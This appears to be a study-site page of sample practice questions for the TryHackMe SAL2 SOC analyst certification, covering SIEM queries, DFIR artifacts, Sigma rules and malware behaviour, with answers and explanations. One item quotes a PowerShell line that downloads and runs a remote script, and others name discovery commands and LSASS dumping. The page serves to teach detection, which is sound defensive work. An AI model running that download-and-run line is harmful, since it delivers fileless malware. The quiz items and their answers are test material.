100+ Free SAL2 Practice Questions

Prepare for the TryHackMe Security Analyst Level 2 (SAL2) exam with instant access — no signup required.

✓ No registration✓ No credit card✓ No hidden fees✓ Start practicing immediately

Not publicly disclosed Pass Rate

100+ Questions

100% Free

Loading practice questions...

Same family resources

Explore More TryHackMe Certifications

Continue into nearby exams from the same family. Each card keeps practice questions, study guides, flashcards, videos, and articles in one place.

2026 Statistics

Key Facts: SAL2 Exam

72 hours

Exam Window

TryHackMe SAL2 exam page

Multi-Stage SOC Scenarios

TryHackMe SAL2 certification page

Questions Per Scenario

TryHackMe SAL2 blog announcement

2026

Certification Launch Year

TryHackMe

Core Knowledge Domains

TryHackMe SAL2 curriculum

Mid-level SOC

Target Career Level

TryHackMe SAL2 certification page

TryHackMe SAL2 (Security Analyst Level 2) is TryHackMe's advanced defensive security certification, launched in 2026. The 72-hour practical exam consists of 12 multi-stage SOC scenarios testing threat detection, DFIR, SIEM analysis, malware behavior analysis, threat intelligence, and professional reporting. This practice exam tests the knowledge concepts underlying those hands-on skills.

Sample SAL2 Practice Questions

Try these sample questions to test your SAL2 exam readiness. Each question includes a detailed explanation. Start the interactive quiz above for the full 100+ question experience with AI tutoring.

1An analyst reviewing Splunk logs notices a user account performed 47 failed logins followed by one successful login, then immediately ran 'net localgroup administrators' and 'whoami /all'. Which attack stage does this sequence most likely represent?

A.Lateral movement via Pass-the-Hash

B.Successful brute-force followed by post-exploitation discovery

C.Credential stuffing with no compromise

D.Kerberoasting followed by ticket decryption

Explanation: The pattern of many failed logins followed by one success is the hallmark of a successful brute-force attack. The immediate execution of 'net localgroup administrators' (enumerate admin group) and 'whoami /all' (enumerate current privileges) are textbook post-exploitation discovery commands used to understand the compromised account's privilege level and plan next steps.

2When performing DFIR on a Windows system, an analyst wants to determine what processes were running at the time of a suspected compromise. Which artifact provides process creation history including command-line arguments?

A.Windows Security Event Log — Event ID 4688

B.$MFT (Master File Table)

C.NTUSER.DAT registry hive

D.VSS (Volume Shadow Copy) metadata

Explanation: Windows Security Event ID 4688 (A new process has been created) records process creation events including the parent process, executable path, and — when process command-line auditing is enabled — the full command-line arguments. This makes it the primary artifact for reconstructing process execution history during DFIR investigations.

3In a Wireshark capture, an analyst observes a host sending DNS TXT record queries for long, randomized subdomain strings of 60+ characters under a single parent domain at a rate of 20 queries per minute. What is the most likely malicious activity?

A.DNS tunneling used for data exfiltration or C2 communication

B.Legitimate DNSSEC validation queries

C.BGP route injection via DNS manipulation

D.DNS amplification DDoS attack targeting the parent domain

Explanation: DNS tunneling encodes data inside DNS query strings (often as base64 in TXT or NULL record lookups). Long, high-entropy subdomains queried at a regular rate indicate a tool like iodine, dnscat2, or a custom C2 implant. The parent domain acts as the attacker's authoritative DNS server, receiving the tunneled data. TXT records specifically are favored because they can carry arbitrary text payloads.

4An analyst is investigating a Splunk alert for an Elastic agent that flagged PowerShell executing an encoded command. The decoded base64 reveals: 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.5.12/a.ps1")'. What MITRE ATT&CK technique does this represent?

A.T1059.001 — PowerShell with T1105 Ingress Tool Transfer

B.T1003.001 — OS Credential Dumping (LSASS Memory)

C.T1071.004 — Application Layer Protocol (DNS)

D.T1547.001 — Boot or Logon Autostart Execution (Registry Run Keys)

Explanation: IEX (Invoke-Expression) combined with DownloadString is a classic fileless malware technique. T1059.001 covers PowerShell execution; T1105 (Ingress Tool Transfer) covers downloading tools from a remote server. The encoded command attempts to evade detection by encoding the payload in base64, then downloading and executing a remote script without writing to disk. This combination is used by many threat actors and commodity malware loaders.

5During a Splunk investigation, which search best identifies accounts that successfully authenticated to multiple unique hosts within a 10-minute window — a pattern indicative of lateral movement?

A.index=windows EventCode=4624 | stats dc(ComputerName) as host_count by user | where host_count > 3

B.index=windows EventCode=4624 | timechart span=10m count by user

C.index=windows EventCode=4625 | stats count by user | sort -count

D.index=windows | search EventCode=4624 AND LogonType=3 | table user ComputerName

Explanation: Using 'stats dc(ComputerName) as host_count by user' counts distinct (dc) destination hosts per user. Filtering 'where host_count > 3' identifies accounts touching many systems — a key lateral movement indicator. EventCode 4624 captures successful logons. This pattern catches Pass-the-Hash, SMB lateral movement, and WMI/PsExec-style propagation across the network.

6An analyst uses Elastic/KQL to hunt for suspicious PowerShell activity. Which KQL query correctly finds PowerShell processes where the command line contains encoded commands?

A.process.name: powershell.exe AND process.command_line: *-enc*

B.event.type: process AND process.name: cmd.exe

C.winlog.event_id: 4688 AND user.name: Administrator

D.network.protocol: http AND destination.port: 443

Explanation: '-enc' (or '-EncodedCommand') is the PowerShell parameter used to execute base64-encoded commands, a common obfuscation technique. Searching for process.name: powershell.exe AND process.command_line: *-enc* in KQL will surface all PowerShell invocations using encoded commands. Wildcards (*) match any characters before and after '-enc', catching variations like '-encodedcommand' or '-EnC'.

7A SOC analyst is performing static malware analysis on a suspicious PE file. Running 'strings' against the binary reveals: 'CreateRemoteThread', 'VirtualAllocEx', 'WriteProcessMemory', 'OpenProcess'. What malicious capability do these Windows API imports suggest?

A.Process injection — code injection into a running process

B.Disk encryption consistent with ransomware

C.Network socket creation for C2 communication

D.Persistence via scheduled task creation

Explanation: OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread is the classic sequence for reflective or shellcode process injection. The attacker opens a remote process, allocates memory in it, writes malicious code, then creates a remote thread to execute the injected payload. This technique is used to evade detection by running malicious code within trusted processes like svchost.exe or explorer.exe.

8During dynamic malware analysis in a sandbox, an analyst observes the sample drop a file to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\. What is the purpose of this action?

A.Data staging for exfiltration via cloud storage

B.Lateral movement to adjacent hosts via file share

C.User-space persistence — any file in this folder executes at user logon

D.Privilege escalation by replacing a system binary

Explanation: The Windows Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ for the current user, or %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\ for all users) causes any placed executable or shortcut to run automatically at logon. This is MITRE ATT&CK T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder), a common persistence mechanism used by malware.

9An analyst is writing a Sigma rule to detect LSASS memory dump attempts via procdump.exe. Which Sigma rule fields are most critical for this detection?

A.CommandLine containing 'procdump' AND TargetProcess containing 'lsass'

B.ParentImage containing 'explorer.exe' AND Image containing 'svchost.exe'

C.EventID: 4625 AND LogonType: 3

D.DestinationPort: 445 AND Protocol: SMB

Explanation: Detecting LSASS dumping with procdump requires matching the process image (procdump.exe) and its command-line argument specifying lsass as the target process. In practice, Sigma rules for this technique check the CommandLine field for '-ma lsass' or 'lsass.exe' combined with the process image being procdump, or check for the TargetImage/TargetProcess being lsass.exe in Sysmon Event ID 10 (ProcessAccess) events.

10A threat hunter is analyzing endpoint telemetry and finds a process 'rundll32.exe' making outbound HTTP connections to an external IP on port 443 while its parent is 'winword.exe'. What is the most likely scenario?

A.Macro-based malware in a Word document launching a DLL-based payload via rundll32

B.A signed Windows update component using Office as a launcher

C.Credential theft via DPAPI master key decryption

D.Legitimate Windows DLL registration process running within Office

Explanation: rundll32.exe spawned by winword.exe (Microsoft Word) making external network connections is a classic indicator of a malicious macro (VBA/Office macro) that uses rundll32 to execute a DLL payload. This is a common living-off-the-land binary (LOLBin) technique — rundll32 is a trusted Windows binary, making it harder for basic AV to block. The parent-child relationship winword → rundll32 → network connection is a high-fidelity detection rule in many SOC environments.

About the SAL2 Exam

TryHackMe Security Analyst Level 2 (SAL2) is an advanced practical certification for SOC analysts ready to operate at mid-level. The 72-hour exam presents 12 realistic, multi-stage SOC scenarios requiring candidates to investigate complex attack chains across Windows, Linux, Active Directory, cloud environments, and network traffic — then produce written reports and decision-making recommendations.

Assessment

Performance-based assessment

Time Limit

72 hours (12 SOC scenarios)

Passing Score

Not publicly disclosed

Exam Fee

Included with TryHackMe annual subscription (TryHackMe)

SAL2 Exam Content Outline

20%

Threat Detection & Triage

Advanced alert triage, Windows/Linux log analysis (Security events, Sysmon, auditd), EDR investigation, Sigma detection rule authoring, and parent-child process anomaly detection

20%

SIEM Investigations

Splunk SPL and Elastic KQL for advanced threat queries, cloud log analysis (Entra ID, AWS CloudTrail), EQL sequence detection, multi-source event correlation, and SIEM-based threat hunting

15%

Network Traffic Analysis

PCAP and Zeek log analysis, C2 beaconing detection (jitter analysis, JA3/JARM fingerprinting), DNS tunneling and DGA detection, malicious HTTP profile identification

20%

Digital Forensics & Incident Response

Memory forensics (Volatility3), NTFS MFT and MACB timestamps, Windows registry forensics, order of volatility, IR lifecycle (containment, eradication, recovery, lessons learned)

15%

Malware Behavior Analysis

Static analysis (PE imports, entropy, strings), dynamic sandbox analysis, persistence mechanisms (startup folders, scheduled tasks, WMI subscriptions, registry), YARA rules, anti-analysis evasion

10%

Threat Intelligence & Reporting

STIX/TAXII, MISP, TLP classification, Pyramid of Pain, MITRE ATT&CK mapping, writing executive summaries and technical IR reports, post-incident lessons learned

How to Pass the SAL2 Exam

What You Need to Know

Passing score: Not publicly disclosed
Assessment: Performance-based assessment
Time limit: 72 hours (12 SOC scenarios)
Exam fee: Included with TryHackMe annual subscription

Keys to Passing

Work through all 100 available questions
Review every answer and explanation
Track weak areas and revisit them
Use our AI tutor for tough concepts

SAL2 Study Tips from Top Performers

1Master Splunk SPL stats commands (stats, dc, eval, timechart) and Elastic KQL — these are the core investigation tools in SAL2 scenarios

2Practice reading parent-child process trees in Sysmon and EDR telemetry — anomalous process relationships are the most common attack indicator

3Learn MITRE ATT&CK technique IDs for the top 20 most common techniques — you'll need to map attack chains accurately in scenario reports

4Build Sigma rules from scratch for common detection scenarios — detection engineering with Sigma is explicitly tested

5Practice memory forensics with Volatility3 — learn windows.pslist, windows.malfind, windows.netscan, and windows.cmdline plugins

6Understand the full IR lifecycle (Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned) and be able to justify phase decisions

7Learn to identify C2 beaconing patterns — low jitter, consistent packet sizes, unusual process-to-network correlations

8Practice incident report writing — SAL2 explicitly tests your ability to write both technical forensic reports and executive summaries

Frequently Asked Questions

What is the TryHackMe SAL2 exam format?

SAL2 is a practical 72-hour exam consisting of 12 multi-stage SOC scenarios. Each scenario includes 7 targeted questions probing the full attack chain (initial access through impact) plus a decision-making exercise or AI-graded incident summary report. You work in a realistic browser-based SOC environment with access to SIEM, EDR consoles, and investigation tools.

What skills does SAL2 test?

Technical skills: Windows log analysis, Active Directory investigation, Entra ID and AWS log analysis, phishing investigation, Linux attack log analysis, web attacks, network traffic analysis (PCAP/IDS), basic malware analysis, threat intelligence, detection engineering with Sigma, and SIEM/EDR triage. Non-technical skills: incident report writing, alert summarisation, MITRE ATT&CK mapping, SOC prioritisation, SLA management, and incident communication.

Is this practice exam like the real SAL2?

No — this is a multiple-choice knowledge practice exam. The real SAL2 is a practical hands-on exam where you investigate live SOC scenarios in a browser-based environment. This practice exam tests the underlying knowledge and concepts you need — SIEM queries, forensic artifact recognition, MITRE ATT&CK mapping, detection techniques — to succeed in the hands-on scenarios.

How should I prepare for SAL2?

Complete the TryHackMe SOC Level 2 learning path, which covers Advanced Splunk, Advanced ELK, Detection Engineering, Sigma rules, Threat Hunting (with EQL), Incident Response phases, Malware Analysis, and Threat Emulation (Atomic Red Team, CALDERA). Supplement with the SAL1 certification if you haven't already. Practice writing concise incident reports after each investigation exercise.

What career roles does SAL2 support?

SAL2 supports progression into mid-level SOC Analyst (Tier 2-3), Detection Engineer, Threat Hunter, and Incident Responder roles. It demonstrates job-ready skills for analysts moving beyond alert triage into proactive threat hunting, advanced SIEM investigation, and DFIR.

What is the difference between SAL1 and SAL2?

SAL1 (Security Analyst Level 1) covers foundational SOC skills — alert triage, phishing analysis, basic SIEM queries, and SOC workflows — with a 24-hour exam including 80 MCQs and 2 SOC simulations. SAL2 is advanced, covering multi-stage attack chain investigation, DFIR, malware analysis, cloud log investigation, and detection engineering, with a 72-hour practical exam of 12 complex multi-stage SOC scenarios.